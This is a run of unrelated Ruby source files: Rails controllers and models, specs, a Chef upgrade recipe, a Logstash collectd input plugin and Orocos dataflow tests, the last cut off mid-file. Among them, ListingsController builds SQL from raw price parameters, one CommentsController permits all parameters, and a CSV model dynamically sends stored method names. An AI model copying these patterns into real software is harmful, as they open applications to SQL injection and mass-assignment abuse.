class CommentsController < ApplicationController def create @article = Article.find(params[:article_id]) @comment = @article.comments.new(comment_params) @comment.user = current_user if @comment.user != nil if @comment.save flash[:success] = "Comment has been created" else flash[:danger] = "Comment has not been created" end redirect_to article_path(@article) else flash[:danger] = 'You need to be signed in' redirect_to new_user_session_path end end private def comment_params params.require(:comment).permit(:body, :user_id, :article_id) end end
class JobApplication < ApplicationRecord include Filterable scope :status, -> (status) { where status: status } #Relationships #a job application belongs to a job posting belongs_to :job_posting #a job application belongs to a user belongs_to :user has_one :resume #a job application has many job applications answers has_many :job_posting_answers, dependent: :destroy has_one :interview, dependent: :destroy enum status: [:draft, :submitted, :interview_scheduled, :hired, :declined ] accepts_nested_attributes_for :job_posting_answers end
# encoding: UTF-8 module API module V1 class Libraries < API::V1::Base helpers API::Helpers::V1::LibraryHelpers before do authenticate_user end with_cacheable_endpoints :library do paginated_endpoint do desc 'Get paginated library' params do optional :column, type: Integer end get do if current_user.backoffice_profile? response_for_paginated_endpoint 'libraries.all', 'all' do col = params[:column] || 0 opts = { 'resource' => col } opts['owner'] = current_user library = Library.query(opts) paginated_serialized_library(library).as_json end else forbidden_error_response(:library) end end end end with_cacheable_endpoints :search do paginated_endpoint do desc 'search library' namespace :library do params do requires :q, type: String, regexp: /[^\s]{1,}/, allow_blank: false optional :column, type: Integer end get do if current_user.backoffice_profile? cache_key = params[:q].try(:parameterize) col = params[:column] || 0 opts = {'resource' => col} opts['owner'] = current_user if cache_key response_for_paginated_endpoint 'searchs.library', cache_key do opts['q'] = cache_key library = Library.query(opts) paginated_serialized_library(library).as_json end else bad_request_error_response(:searchs, :invalid_search_term) end else forbidden_error_response(:library) end end end end end # # my files # with_cacheable_endpoints :mylibraries do # paginated_endpoint do # desc 'Get personal paginated library' # get do # response_for_paginated_endpoint 'mylibraries.all', 'all' do # library = Library.my_files current_user # paginated_serialized_library(library).as_json # end # end # end # end # with_cacheable_endpoints :search do # paginated_endpoint do # desc 'search personal library' # namespace :mylibraries do # params do # requires :q, type: String, regexp: /[^\s]{1,}/, allow_blank: false # end # get do # cache_key = params[:q].try(:parameterize) # if cache_key # response_for_paginated_endpoint 'searchs.mylibrary', cache_key do # library = Library.my_files current_user, cache_key # paginated_serialized_library(library).as_json # end # else # bad_request_error_response(:searchs, :invalid_search_term) # end # end # end # end # end end end end
# # Cookbook:: baseline # Recipe:: upgrade # # Greg Konradt. Dec 2016 case node['platform_family'] when 'debian' bash 'upgrade_system' do user 'root' not_if 'ls /usr/local/initial_upgrade.date' cwd '/tmp' code <<-EOH apt-get update date > /usr/local/initial_upgrade.date apt-get upgrade -y >> /usr/local/initial_upgrade.date EOH end when 'rhel' bash 'upgrade_system' do user 'root' not_if 'ls /usr/local/initial_upgrade.date' cwd '/tmp' code <<-EOH date > /usr/local/initial_upgrade.date yum update -y >> /usr/local/initial_upgrade.date EOH end end
class CommentsController < ApplicationController def create @order = Order.find(comment_params[:order_id]) unless can? :comment_on, @order return redirect_to orders_path, alert: "You aren't allowed to comment on this order." end @comment = Comment.new(comment_params) @comment.user = current_user @comment.order = @order if @comment.save redirect_to order_path(@order), notice: "Your comment has been added." Notification.notify_comment_created(@comment, current_user) else redirect_to order_path(@order), alert: "Error: Could not add comment." end end def destroy @comment = Comment.find(params[:id]) @order = @comment.order unless can? :destroy, @comment return redirect_to order_path(@order), alert: "You aren't allowed to delete that comment." end if @comment.destroy redirect_to order_path(@order), notice: "Comment removed." else redirect_to order_path(@order), alert: "Error: Comment could not be removed." end end private def comment_params params.require(:comment).permit! end end
class ItemsController < ApplicationController before_action :check_admin, :only => [:edit, :update, :create, :new, :add] def index @items = Item.where(hidden: nil) end def show @item = Item.find(params[:id]) @categories = Category.all end def create @item = Item.new(item_params) if @item.save redirect_to @item else render 'new' end end def new @item = Item.new end def edit @item = Item.find(params[:id]) end def update @item = Item.find(params[:id]) if @item.update(item_params) redirect_to @item else render 'edit' end end def add @item = Item.find(params[:item_id]) @category = Category.find(params[:category_id]) @item.categories << @category redirect_to categories_path end private def item_params params.require(:item).permit(:title, :description, :price, :hidden) end end
# frozen_string_literal: true module Admin class DmarcReportsController < ::ApplicationController secure!(:admin, strict: true) def index @reports = DmarcReport.all @new_report = DmarcReport.new end def show @report = DmarcReport.find(params[:id]) respond_to do |format| format.html format.xml { render(xml: @report.xml) } format.json { render(plain: @report.proto.to_json) } format.proto { render(plain: @report.proto.to_proto) } end end def create content_type = dmarc_report_params[:xml].content_type case content_type when 'text/xml' DmarcReport.create(xml: dmarc_report_params[:xml].read) when 'application/zip' extract_zip(dmarc_report_params[:xml]) when 'application/x-gzip' DmarcReport.create( xml: Zlib::GzipReader.new(dmarc_report_params[:xml]).read ) else raise "Unexpected file format: #{content_type}" end redirect_to(admin_dmarc_reports_path) end private def dmarc_report_params params.require(:dmarc_report).permit(:xml) end def extract_zip(xml) Zip::File.open(xml) do |zip_file| zip_file.each do |entry| DmarcReport.create(xml: entry.get_input_stream.read) end end end end end
require "test_helper" describe Comment do before do @comment = Comment.new( user: create(:user), commentable: create(:game) ) end it "must be valid" do @comment.valid?.must_equal true end end
module Adzerk class Reporting include Adzerk::Util attr_accessor :client def initialize(args = {}) @client = args.fetch(:client) end def create_report(data={}) data = { 'criteria' => camelize_data(data).to_json } parse_response(client.post_request('report', data)) end def create_queued_report(data={}) data = { 'criteria' => camelize_data(data).to_json } parse_response(client.post_request('report/queue', data)) end def retrieve_queued_report(id) url = 'report/queue/' + id parse_response(client.get_request(url)) end end end
require 'rails_helper' RSpec.describe "bookings", type: :request do describe "GET api/bookings" do it "get the list of all bookings" do assignment = Fabricate(:assignment) timeslot = assignment.timeslot booking = Booking.create(timeslot_id: timeslot.id, size: 6) get api_bookings_path expect(json).not_to be_empty expect(json.size).to eq(1) expect(response).to have_http_status(200) end end end
class AdditionalReportCsv < ActiveRecord::Base serialize :parameters, Hash has_attached_file :csv_report, :url => "/report/csv_report_download/:id", :path => "uploads/:class/:attachment/:id_partition/:style/:basename.:extension" def csv_generation method_name=self.method_name data=self.model_name.camelize.constantize.send(method_name,self.parameters) file_path="tmp/#{Time.now.strftime("%H%M%S%d%m%Y")}_#{method_name}.csv" FasterCSV.open(file_path, "wb") do |csv| data.each do |row_data| csv << row_data end end self.csv_report = open(file_path) if self.save File.delete(file_path) end end end
# encoding utf-8 require "date" require "logstash/inputs/base" require "logstash/namespace" require "socket" require "tempfile" require "time" # Read events from the connectd binary protocol over the network via udp. # See https://collectd.org/wiki/index.php/Binary_protocol # # Configuration in your Logstash configuration file can be as simple as: # input { # collectd {} # } # # A sample collectd.conf to send to Logstash might be: # # Hostname "host.example.com" # LoadPlugin interface # LoadPlugin load # LoadPlugin memory # LoadPlugin network # <Plugin interface> # Interface "eth0" # IgnoreSelected false # </Plugin> # <Plugin network> # <Server "10.0.0.1" "25826"> # </Server> # </Plugin> # # Be sure to replace "10.0.0.1" with the IP of your Logstash instance. # # class LogStash::Inputs::Collectd < LogStash::Inputs::Base config_name "collectd" milestone 1 # File path(s) to collectd types.db to use. # The last matching pattern wins if you have identical pattern names in multiple files. # If no types.db is provided the included types.db will be used. config :typesdb, :validate => :array # The address to listen on. Defaults to all available addresses. config :host, :validate => :string, :default => "0.0.0.0" # The port to listen on. Defaults to the collectd expected port of 25826. config :port, :validate => :number, :default => 25826 # Buffer size config :buffer_size, :validate => :number, :default => 8192 public def initialize(params) super BasicSocket.do_not_reverse_lookup = true @idbyte = 0 @length = 0 @typenum = 0 @cdhost = '' @cdtype = '' @header = []; @body = []; @line = [] @collectd = {} @types = {} end # def initialize public def register @udp = nil if @typesdb.nil? if __FILE__ =~ /^file:\/.+!.+/ begin # Running from a jar, assume types.db is at the root. jar_path = [__FILE__.split("!").first, "/types.db"].join("!") tmp_file = Tempfile.new('logstash-types.db') tmp_file.write(File.read(jar_path)) tmp_file.close # this file is reaped when ruby exits @typesdb = [tmp_file.path] rescue => ex raise "Failed to cache, due to: #{ex}\n#{ex.backtrace}" end else if File.exists?("types.db") @typesdb = "types.db" elsif File.exists?("vendor/collectd/types.db") @typesdb = "vendor/collectd/types.db" else raise "You must specify 'typesdb => ...' in your collectd input" end end end @logger.info("Using internal types.db", :typesdb => @typesdb.to_s) end # def register public def run(output_queue) begin # get types get_types(@typesdb) # collectd server collectd_listener(output_queue) rescue LogStash::ShutdownSignal # do nothing, shutdown was requested. rescue => e @logger.warn("Collectd listener died", :exception => e, :backtrace => e.backtrace) sleep(5) retry end # begin end # def run public def get_types(paths) # Get the typesdb paths.each do |path| @logger.info("Getting Collectd typesdb info", :typesdb => path.to_s) File.open(path, 'r').each_line do |line| typename, *line = line.strip.split next if typename.nil? || if typename[0,1] != '#' # Don't process commented or blank lines v = line.collect { |l| l.strip.split(":")[0] } @types[typename] = v end end end @logger.debug("Collectd Types", :types => @types.to_s) end # def get_types public def type_map(id) case id when 0; return "host" when 2; return "plugin" when 3; return "plugin_instance" when 4; return "collectd_type" when 5; return "type_instance" when 6; return "values" when 8; return "@timestamp" end end # def type_map public def vt_map(id) case id when 0; return "COUNTER" when 1; return "GAUGE" when 2; return "DERIVE" when 3; return "ABSOLUTE" else; return 'UNKNOWN' end end public def get_values(id, body) retval = '' case id when 0,2,3,4,5 # String types retval = body.pack("C*") retval = retval[0..-2] when 8 # Time # Time here, in bit-shifted format. Parse bytes into UTC. byte1, byte2 = body.pack("C*").unpack("NN") retval = Time.at(( ((byte1 << 32) + byte2) * (2**-30) )).utc when 6 # Values val_bytes = body.slice!(0..1) val_count = val_bytes.pack("C*").unpack("n") if body.length % 9 == 0 # Should be 9 fields count = 0 retval = [] types = body.slice!(0..((body.length/9)-1)) while body.length > 0 vtype = vt_map(types[count]) case types[count] when 0, 3; v = body.slice!(0..7).pack("C*").unpack("Q>")[0] when 1; v = body.slice!(0..7).pack("C*").unpack("E")[0] when 2; v = body.slice!(0..7).pack("C*").unpack("q>")[0] else; v = 0 end retval << v count += 1 end else @logger.error("Incorrect number of data fields for collectd record", :body => body.to_s) end end return retval end # def get_values private def collectd_listener(output_queue) @logger.info("Starting Collectd listener", :address => "#{@host}:#{@port}") if @udp && ! @udp.closed? @udp.close end @udp = UDPSocket.new(Socket::AF_INET) @udp.bind(@host, @port) loop do payload, client = @udp.recvfrom(@buffer_size) payload.each_byte do |byte| if @idbyte < 4 @header << byte elsif @idbyte == 4 @line = @header @typenum = (@header[0] << 1) + @header[1] @length = (@header[2] << 1) + @header[3] @line << byte @body << byte elsif @idbyte > 4 && @idbyte < @length @line << byte @body << byte end if @length > 0 && @idbyte == @length-1 if @typenum == 0; @cdhost = @body.pack("C*") @cdhost = @cdhost[0..-2] #=> Trim trailing null char @collectd['host'] = @cdhost else field = type_map(@typenum) if @typenum == 4 @cdtype = get_values(@typenum, @body) @collectd['collectd_type'] = @cdtype end if @typenum == 8 if @collectd.length > 1 @collectd.delete_if {|k, v| v == "" } if @collectd.has_key?("collectd_type") # This means the full event should be here # As crazy as it sounds, this is where we actually send our events to the queue! # After we've gotten a new timestamp event it means another event is coming, so # we flush the existing one to the queue event = LogStash::Event.new({}) @collectd.each {|k, v| event[k] = @collectd[k]} decorate(event) output_queue << event end @collectd.clear @collectd['host'] = @cdhost @collectd['collectd_type'] = @cdtype end end values = get_values(@typenum, @body) if values.kind_of?(Array) if values.length > 1 #=> Only do this iteration on multi-value arrays (0..(values.length - 1)).each {|x| @collectd[@types[@collectd['collectd_type']][x]] = values[x]} else #=> Otherwise it's a single value @collectd['value'] = values[0] #=> So name it 'value' accordingly end elsif field != "" #=> Not an array, make sure it's non-empty @collectd[field] = values #=> Append values to @collectd under key field end end @idbyte = 0; @length = 0; @header.clear; @body.clear; @line.clear #=> Reset everything else @idbyte += 1 end end end ensure if @udp @udp.close_read rescue nil @udp.close_write rescue nil end end # def collectd_listener public def teardown @udp.close if @udp && !@udp.closed? end end # class LogStash::Inputs::Collectd
class UserMailer < ApplicationMailer def invite(invitation) @user = invitation.user @event = invitation.event mail to: @user.email, subject: "An invitation to #{@event.title}" end end
class UsersController < ApplicationController skip_before_action :require_login # https://stackoverflow.com/questions/4982371/handling-unique-record-exceptions-in-a-controller # rescue_from ActiveRecord::RecordNotUnique, :with => :my_rescue_method before_action :user_params, only: [:create] def confirm_email if request.get? user = User.find_by(confirm_token: params[:token]) if user.activate? flash[:notice] = "You have been activated and can now log in" redirect_to '/login' else flash[:warning] = "We could not activate you." redirect_to '/login' end end end def new @user = User.new end def create @user = User.new(user_params) # @user.setup_profile # Work on --to add profile when signing up TEST # @profile = Profile.new(profile_params) #trying to create the profile object on creation with basic information and just update it later if @user.save # puts "yay" # @profile.save UserMailer.registration_confirmation(@user).deliver_now flash[:notice]="Signup successful. Confirmation email has been sent" # session[:user_id] = user.id #I think for when it directly signed people in, could be wrong # redirect_to() #should go to the thanks for signing up page redirect_to '/login' elsif User.all.count > 0 && User.exists?(email: params[:user][:email]) flash[:notice] = "Email already in use, please log in" redirect_to '/signup' else # flash[:notice] = @user.errors.full_messages #unless @profile.valid? # flash[:notice]="Please try again" redirect_to '/signup' end end private def user_params params.require(:user).permit(:first_name, :last_name, :user_name, :email, :password) end end
module Typedown class Shorthand def self.process body # Find all occurences mathcing the shorthand syntax # 'action/param1[/param2] offset = 0 while(match = body[offset..-1].match(/\'\w+[\/\w+]+/)) do m = match[0] res = self.resolve m body.gsub!(m, res) if res offset += match.begin(0) + (res || m).length end body end private def self.resolve m begin params = m.tr("'", "").split("/") action = params.shift if self.shorthands[ action.downcase ] self.shorthands[ action.downcase ].resolve action, params else nil end rescue # Something wrong with parameters nil end end def self.shorthands @shorthands = {} unless @shorthands @shorthands end def self.add_shorthand name, obj self.shorthands[ name.downcase ] = obj end def initialize name Shorthand.add_shorthand(name, self) end def resolve action, params raise "Please subclass and override this method." nil end end end
require 'fizzbuzz' describe 'fizzbuzz' do it'returns fizz when passed multiple of 3' do expect(fizzbuzz(3)).to eq 'fizz' end it'returns buzz when passed multiple of 5' do expect(fizzbuzz(5)).to eq 'buzz' end it'returns fizzbuzz when passed multiple of 5 and a multiple 3' do expect(fizzbuzz(15)).to eq 'fizzbuzz' end it'returns number if not a multiple of both' do expect(fizzbuzz(2)).to eq 2 end end
class UpdatePicturesTable < ActiveRecord::Migration[5.2] def change add_reference :pictures, :attached_to, foreign_key: {to_table: :pictures} end end
require 'spec_helper' describe ParatureFaqData do before { ParatureFaq.recreate_index } let(:fixtures_dir) { "#{Rails.root}/spec/fixtures/parature_faqs/" } let(:resource) { "#{fixtures_dir}/articles/article%d.xml" } let(:folders_resource) { "#{fixtures_dir}/folders.xml" } let(:importer) { ParatureFaqData.new(resource, folders_resource) } let(:expected) { YAML.load_file("#{File.dirname(__FILE__)}/parature_faq/results.yaml") } it_behaves_like 'an importer which can purge old documents' it_behaves_like 'an importer which indexes the correct documents' describe '#import' do context 'when an unexpected error is encountered' do before do allow(importer).to receive(:extract_hash_from_resource) do fail OpenURI::HTTPError.new('503 Service Unavailable', nil) end end it 'raises the error' do expect { importer.import } .to raise_error(OpenURI::HTTPError, '503 Service Unavailable') end end context 'when an expected error is encountered' do before do allow(importer).to receive(:extract_hash_from_resource) do fail OpenURI::HTTPError.new('404 Not Found', nil) end end it 'does not raise an error' do expect { importer.import }.not_to raise_error end end end end
class ListingsController < ApplicationController before_action :set_listing, only:[:edit, :update, :delete, :destroy, :show] def index @listings = Listing.all.page(params[:page]).order('created_at DESC') @listings = @listings.listing_name(params[:listing_name].strip).page(params[:page]).order('created_at DESC') if params[:listing_name].present? @listings = @listings.descrip(params[:description].strip).page(params[:page]).order('created_at DESC') if params[:description].present? if params[:min_price].present? && params[:max_price].present? @listings = @listings.price(params[:min_price], params[:max_price]).page(params[:page]).order('created_at DESC') elsif params[:min_price].present? @listings = @listings.where("price > #{params[:min_price]}").page(params[:page]).order('created_at DESC') elsif params[:max_price].present? @listings = @listings.where("price < #{params[:max_price]}").page(params[:page]).order('created_at DESC') elsif params[:tag] @listings = Listing.tagged_with(params[:tag].titleize).paginate(:page => params[:page]) end # elsif params[:listing_name] # @listings = Listing.where('lower(name) LIKE ?', "%#{params[:listing_name].downcase.delete(" ")}%").page(params[:page]).order('created_at DESC') end def edit if not_allowed? flash[:notice] = "Sorry. You are not allowed to perform this action." return redirect_to listing_path(@listing), notice: "Sorry. You do not have the permission to edit a listing that you didn't post yourself." end end def new @listing = Listing.new end def create # byebug @listing = current_user.listings.new(listing_params) if @listing.save redirect_to listing_path(@listing), notice: "Your listing has successfully created" else redirect_to '/' # redirect back # render :new, error: "Piglet wasn't created, please try again." # Investigate getting the error messages from your object errors and sending them as a flash message! end end def show @reservations = nil || @listing.reservations end def update if @listing.update(listing_params) redirect_to listing_path(@listing), notice: "Listing updated." # or redirect_to @listing else render :edit, error: "Listing couldn't update, please try again." end end def destroy if not_allowed? flash[:notice] = "Sorry. You are not allowed to perform this action." return redirect_to listing_path(@listing), notice: "Sorry. You do not have the permission to edit a listing that you didn't post yourself." else @listing.taggings.each do |tagging| tagging.destroy end @listing.destroy redirect_to listings_path, notice: "Your listing was successfully deleted" end end private def set_listing @listing = Listing.find(params[:id]) end def listing_params params.require(:listing).permit(:name, :description, :price, :location, :policy, :num_bedroom, :num_bed, :num_bathroom, :max_guests, :all_tags, {avatars: []}) end def reservation_params params.require(:reservation).permit(:check_in, :check_out) end def not_allowed? current_user == nil or !(current_user.superadmin? or @listing.user == current_user) end # def authorise_user # redirect_to listing_path(@listing) if current_user == nil or !(current_user.superadmin? or @listing.user == current_user) # end # consider depedent:destroy end
require 'orocos/test' DATAFLOW_STRESS_TEST = if ENV['DATAFLOW_STRESS_TEST'] Integer(ENV['DATAFLOW_STRESS_TEST']) end describe Orocos::Port do include Orocos::Spec it "should not be possible to create an instance directly" do assert_raises(NoMethodError) { Orocos::Port.new } end it "should check equality based on CORBA reference" do Orocos.run 'simple_source' do |source| source = source.task("source") p1 = source.port("cycle") # Remove p1 from source's port cache source.instance_variable_get("@ports").delete("cycle") p2 = source.port("cycle") refute_equal(p1.object_id, p2.object_id) assert_equal(p1, p2) end end describe ".validate_policy" do it "should raise if a buffer is given without a size" do assert_raises(ArgumentError) { Orocos::Port.validate_policy :type => :buffer } end it "should raise if a data is given with a size" do assert_raises(ArgumentError) { Orocos::Port.validate_policy :type => :data, :size => 10 } end end end describe Orocos::OutputPort do if !defined? TEST_DIR TEST_DIR = File.expand_path(File.dirname(__FILE__)) DATA_DIR = File.join(TEST_DIR, 'data') WORK_DIR = File.join(TEST_DIR, 'working_copy') end ComError = Orocos::CORBA::ComError include Orocos::Spec it "should not be possible to create an instance directly" do assert_raises(NoMethodError) { Orocos::OutputPort.new } end it "should have the right model" do Orocos.run('simple_source') do task = Orocos::TaskContext.get('simple_source_source') source = task.port("cycle") assert_same source.model, task.model.find_output_port('cycle') end end it "should be able to connect to an input" do Orocos.run('simple_source', 'simple_sink') do source = Orocos::TaskContext.get('simple_source_source').port("cycle") sink = Orocos::TaskContext.get('simple_sink_sink').port("cycle") assert(!sink.connected?) assert(!source.connected?) source.connect_to sink assert(sink.connected?) assert(source.connected?) end end it "should raise CORBA::ComError when connected to a dead input" do Orocos.run('simple_source', 'simple_sink') do |*processes| source = Orocos::TaskContext.get('simple_source_source').port("cycle") sink = Orocos::TaskContext.get('simple_sink_sink').port("cycle") processes.find { |p| p.name == 'simple_sink' }.kill(true, 'KILL') assert_raises(ComError) { source.connect_to sink } end end it "should raise CORBA::ComError when #connect_to is called on a dead process" do Orocos.run('simple_source', 'simple_sink') do |*processes| source = Orocos::TaskContext.get('simple_source_source').port("cycle") sink = Orocos::TaskContext.get('simple_sink_sink').port("cycle") processes.find { |p| p.name == 'simple_source' }.kill(true, 'KILL') assert_raises(ComError) { source.connect_to sink } end end it "should be able to disconnect from a particular input" do Orocos.run('simple_source', 'simple_sink') do |p_source, p_sink| source = Orocos::TaskContext.get('simple_source_source').port("cycle") sink = Orocos::TaskContext.get('simple_sink_sink').port("cycle") assert(!source.disconnect_from(sink)) source.connect_to sink assert(sink.connected?) assert(source.connected?) assert(source.disconnect_from(sink)) assert(!sink.connected?) assert(!source.connected?) end end it "should be able to selectively disconnect a in-process connection" do Orocos.run('system') do source = Orocos::TaskContext.get('control').cmd_out sink = Orocos::TaskContext.get('motor_controller').command assert(!source.disconnect_from(sink)) source.connect_to sink assert(sink.connected?) assert(source.connected?) assert(source.disconnect_from(sink)) assert(!sink.connected?) assert(!source.connected?) end end it "it should be able to disconnect from a dead input" do Orocos.run('simple_source', 'simple_sink') do |*processes| source = Orocos::TaskContext.get('simple_source_source').port("cycle") sink = Orocos::TaskContext.get('simple_sink_sink').port("cycle") source.connect_to sink assert(source.connected?) processes.find { |p| p.name == 'simple_sink' }.kill(true, 'KILL') assert(source.connected?) assert(source.disconnect_from(sink)) assert(!source.connected?) end end it "should be able to disconnect from all its InputPort" do Orocos.run('simple_source', 'simple_sink') do |p_source, p_sink| source = Orocos::TaskContext.get('simple_source_source').port("cycle") sink = Orocos::TaskContext.get('simple_sink_sink').port("cycle") source.connect_to sink assert(sink.connected?) assert(source.connected?) source.disconnect_all assert(!sink.connected?) assert(!source.connected?) end end it "it should be able to modify connections while running" do last = nil Orocos.run('simple_sink', 'simple_source', :output => "%m.log") do source_task = Orocos::TaskContext.get("fast_source") sources = (0...4).map { |i| source_task.port("out#{i}") } sink_task = Orocos::TaskContext.get("fast_sink") sinks = (0...4).map { |i| sink_task.port("in#{i}") } count, display = nil if DATAFLOW_STRESS_TEST count = DATAFLOW_STRESS_TEST display = true else count = 10_000 end source_task.configure source_task.start sink_task.start count.times do |i| p_out = sources[rand(4)] p_in = sinks[rand(4)] p_out.connect_to p_in, :pull => (rand > 0.5) if rand > 0.8 p_out.disconnect_all end if display && (i % 1000 == 0) if last delay = Time.now - last end last = Time.now STDERR.puts "#{i} #{delay}" end end end end it "it should be able to disconnect all inputs even though some are dead" do Orocos.run('simple_source', 'simple_sink') do |*processes| source = Orocos::TaskContext.get('simple_source_source').port("cycle") sink = Orocos::TaskContext.get('simple_sink_sink').port("cycle") source.connect_to sink assert(source.connected?) processes.find { |p| p.name == 'simple_sink' }.kill(true, 'KILL') assert(source.connected?) source.disconnect_all assert(!source.connected?) end end it "should refuse connecting to another OutputPort" do Orocos.run('simple_source') do |p_source, p_sink| source = Orocos::TaskContext.get('simple_source_source').port("cycle") assert(!source.connected?) assert_raises(ArgumentError) { source.connect_to source } end end if Orocos::SelfTest::USE_MQUEUE it "should fallback to CORBA if connection fails with MQ" do begin Orocos::MQueue.validate_sizes = false Orocos::MQueue.auto_sizes = false Orocos.run('simple_source', 'simple_sink') do |p_source, p_sink| source = Orocos::TaskContext.get('simple_source_source').port("cycle") sink = Orocos::TaskContext.get('simple_sink_sink').port("cycle") source.connect_to sink, :transport => Orocos::TRANSPORT_MQ, :data_size => Orocos::MQueue.msgsize_max + 1, :type => :buffer, :size => 1 assert source.connected? end ensure Orocos::MQueue.validate_sizes = true Orocos::MQueue.auto_sizes = true end end end end describe Orocos::InputPort do if !defined? TEST_DIR TEST_DIR = File.expand_path(File.dirname(__FILE__)) DATA_DIR = File.join(TEST_DIR, 'data') WORK_DIR = File.join(TEST_DIR, 'working_copy') end include Orocos::Spec it "should not be possible to create an instance directly" do assert_raises(NoMethodError) { Orocos::InputPort.new } end it "should have the right model" do Orocos.run('simple_sink') do task = Orocos::TaskContext.get('simple_sink_sink') port = task.port("cycle") assert_same port.model, task.model.find_input_port('cycle') end end it "should be able to disconnect from all connected outputs" do Orocos.run('simple_source', 'simple_sink') do |p_source, p_sink| source = Orocos::TaskContext.get('simple_source_source').port("cycle") sink = Orocos::TaskContext.get('simple_sink_sink').port("cycle") source.connect_to sink assert(sink.connected?) assert(source.connected?) sink.disconnect_all assert(!sink.connected?) assert(!source.connected?) end end it "should be able to disconnect from all connected outputs even though some are dead" do Orocos.run('simple_source', 'simple_sink') do |*processes| source = Orocos::TaskContext.get('simple_source_source').port("cycle") sink = Orocos::TaskContext.get('simple_sink_sink').port("cycle") source.connect_to sink assert(sink.connected?) processes.find { |p| p.name == 'simple_source' }.kill(true, 'KILL') assert(sink.connected?) sink.disconnect_all assert(!sink.connected?) end end it "should refuse connecting to another input" do Orocos.run('simple_source') do |p_source, p_sink| source = Orocos::TaskContext.get('simple_source_source').port("cycle") assert(!source.connected?) assert_raises(ArgumentError) { source.connect_to source } end end it "it should be able to modify connections while running" do last = nil Orocos.run('simple_sink', 'simple_source', :output => "%m.log") do source_task = Orocos::TaskContext.get("fast_source") sources = (0...4).map { |i| source_task.port("out#{i}") } sink_task = Orocos::TaskContext.get("fast_sink") sinks = (0...4).map { |i| sink_task.port("in#{i}") } count, display = nil if DATAFLOW_STRESS_TEST count = DATAFLOW_STRESS_TEST display = true else count = 10_000 end source_task.configure source_task.start sink_task.start count.times do |i| p_out = sources[rand(4)] p_in = sinks[rand(4)] p_out.connect_to p_in, :pull => (rand > 0.5) if rand > 0.8 p_in.disconnect_all end if display && (i % 1000 == 0) if last delay = Time.now - last end last = Time.now STDERR.puts "#{i} #{delay}" end end end end end describe Orocos::OutputReader do if !defined? TEST_DIR TEST_DIR = File.expand_path(File.dirname(__FILE__)) DATA_DIR = File.join(TEST_DIR, 'data') WORK_DIR = File.join(TEST_DIR, 'working_copy') end include Orocos::Spec it "should not be possible to create an instance directly" do assert_raises(NoMethodError) { Orocos::OutputReader.new } end it "should offer read access on an output port" do Orocos.run('simple_source') do |source| source = source.task('source') output = source.port('cycle') # Create a new reader. The default policy is data reader = output.reader assert(reader.kind_of?(Orocos::OutputReader)) assert_equal(nil, reader.read) # nothing written yet end end it "should allow to read opaque types" do Orocos.run('echo') do |source| source = source.task('Echo') output = source.port('output_opaque') reader = output.reader source.configure source.start source.write_opaque(42) sleep(0.2) # Create a new reader. The default policy is data sample = reader.read assert_equal(42, sample.x) assert_equal(84, sample.y) end end it "should allow reusing a sample" do Orocos.run('echo') do |source| source = source.task('Echo') output = source.port('output_opaque') reader = output.reader source.configure source.start source.write_opaque(42) sleep(0.2) # Create a new reader. The default policy is data sample = output.new_sample returned_sample = reader.read(sample) assert_same returned_sample, sample assert_equal(42, sample.x) assert_equal(84, sample.y) end end it "should be able to read data from an output port using a data connection" do Orocos.run('simple_source') do |source| source = source.task('source') output = source.port('cycle') source.configure source.start # The default policy is data reader = output.reader sleep(0.2) assert(reader.read > 1) end end it "should be able to read data from an output port using a buffer connection" do Orocos.run('simple_source') do |source| source = source.task('source') output = source.port('cycle') reader = output.reader :type => :buffer, :size => 10 source.configure source.start sleep(0.5) source.stop values = [] while v = reader.read_new values << v end assert(values.size > 1) values.each_cons(2) do |a, b| assert(b == a + 1, "non-consecutive values #{a.inspect} and #{b.inspect}") end end end it "should be able to read data from an output port using a struct" do Orocos.run('simple_source') do |source| source = source.task('source') output = source.port('cycle_struct') reader = output.reader :type => :buffer, :size => 10 source.configure source.start sleep(0.5) source.stop values = [] while v = reader.read_new values << v.value end assert(values.size > 1) values.each_cons(2) do |a, b| assert(b == a + 1, "non-consecutive values #{a.inspect} and #{b.inspect}") end end end it "should be able to clear its connection" do Orocos.run('simple_source') do |source| source = source.task('source') output = source.port('cycle') reader = output.reader source.configure source.start sleep(0.5) source.stop assert(reader.read) reader.clear assert(!reader.read) end end it "should raise ComError if the remote end is dead and be disconnected" do Orocos.run 'simple_source' do |source_p| source = source_p.task('source') output = source.port('cycle') reader = output.reader source.configure source.start sleep(0.5) source_p.kill(true, 'KILL') assert_raises(Orocos::CORBA::ComError) { reader.read } assert(!reader.connected?) end end it "should get an initial value when :init is specified" do Orocos.run('echo') do |echo| echo = echo.task('Echo') echo.start reader = echo.ondemand.reader assert(!reader.read, "got data on 'ondemand': #{reader.read}") echo.write(10) sleep 0.1 assert_equal(10, reader.read) reader = echo.ondemand.reader(:init => true) sleep 0.1 assert_equal(10, reader.read) end end describe "#disconnect" do it "disconnects from the port" do task = new_ruby_task_context 'test' do output_port 'out', '/double' end reader = task.out.reader reader.disconnect assert !reader.connected? assert !task.out.connected? end it "does not affect the port's other connections" do task = new_ruby_task_context 'test' do output_port 'out', '/double' end reader0 = task.out.reader reader1 = task.out.reader reader0.disconnect assert !reader0.connected? assert reader1.connected? assert task.out.connected? end end if Orocos::SelfTest::USE_MQUEUE it "should fallback to CORBA if connection fails with MQ" do begin Orocos::MQueue.validate_sizes = false Orocos::MQueue.auto_sizes = false Orocos.run('echo') do |echo| echo = echo.task('Echo') reader = echo.ondemand.reader(:transport => Orocos::TRANSPORT_MQ, :data_size => Orocos::MQueue.msgsize_max + 1, :type => :buffer, :size => 1) assert reader.connected? end ensure Orocos::MQueue.validate_sizes = true Orocos::MQueue.auto_sizes = true end end end end describe Orocos::InputWriter do if !defined? TEST_DIR TEST_DIR = File.expand_path(File.dirname(__FILE__)) DATA_DIR = File.join(TEST_DIR, 'data') WORK_DIR = File.join(TEST_DIR, 'working_copy') end CORBA = Orocos::CORBA include Orocos::Spec it "should not be possible to create an instance directly" do assert_raises(NoMethodError) { Orocos::InputWriter.new } end it "should offer write access on an input port" do Orocos.run('echo') do |echo| echo = echo.task('Echo') input = echo.port('input') writer = input.writer assert_kind_of Orocos::InputWriter, writer writer.write(0) end end it "should raise Corba::ComError when writing on a dead port and be disconnected" do Orocos.run('echo') do |echo_p| echo = echo_p.task('Echo') input = echo.port('input') writer = input.writer echo_p.kill(true, 'KILL') assert_raises(CORBA::ComError) { writer.write(0) } assert(!writer.connected?) end end it "should be able to write data to an input port using a data connection" do Orocos.run('echo') do |echo| echo = echo.task('Echo') writer = echo.port('input').writer reader = echo.port('output').reader echo.start assert_equal(nil, reader.read) writer.write(10) sleep(0.1) assert_equal(10, reader.read) end end it "should be able to write structs using a Hash" do 